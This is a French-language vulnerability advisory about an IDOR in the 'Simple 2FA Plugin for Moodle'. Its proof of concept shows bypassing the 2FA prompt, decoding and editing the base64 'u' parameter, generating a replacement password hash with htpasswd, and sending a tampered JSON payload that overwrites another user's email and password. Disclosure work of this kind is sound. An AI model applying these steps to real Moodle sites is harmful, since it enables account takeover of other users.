
Une vulnérabilité de références directes non sécurisées à des objets (IDOR) dans le « Simple 2FA Plugin for Moodle » par LMS Doctor
Une vulnérabilité de type Insecure Direct Object References (IDOR) dans le "Simple 2FA Plugin for Moodle" par LMS Doctor
Détails de la vulnérabilité
Risque : Critique
Fournisseur : LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Divulgué par : Flaviu Popescu
Description : Vulnérabilité de type Insecure Direct Object References (IDOR) dans le plugin Simple 2FA pour Moodle par "LMS Doctor". Permet à des attaquants distants de mettre à jour des enregistrements sensibles tels que l'e-mail, le mot de passe et le numéro de téléphone d'autres comptes utilisateur.
Preuve de concept :
Processus de connexion initial à l'aide d'un compte auto-enregistré (dionach.tester) :
POST /login/index.php

Une fois l'invite 2FA affichée, l'attaquant force la navigation vers l'URL suivante au lieu de fournir le code 2FA.
POST /auth/simple2fa/profile.php

Cette requête est interceptée dans Burp Suite :

Le paramètre "u" contient une chaîne encodée en base64. La chaîne est décodée, révélant des données au format JSON comme illustré ci-dessous :

L'attaquant modifie les données JSON, en changeant l'id, l'e-mail, le mot de passe et le nom. Les données JSON sont réencodées en base64, mises à jour dans Burp Suite, puis transmises au serveur.
Nouvelle génération de hash pour le mot de passe :
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Extrait des données trafiquées :
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
Résultant en la mise à jour du compte de la victime, id 8045 (dionach.tester2), comme illustré ci-dessous :
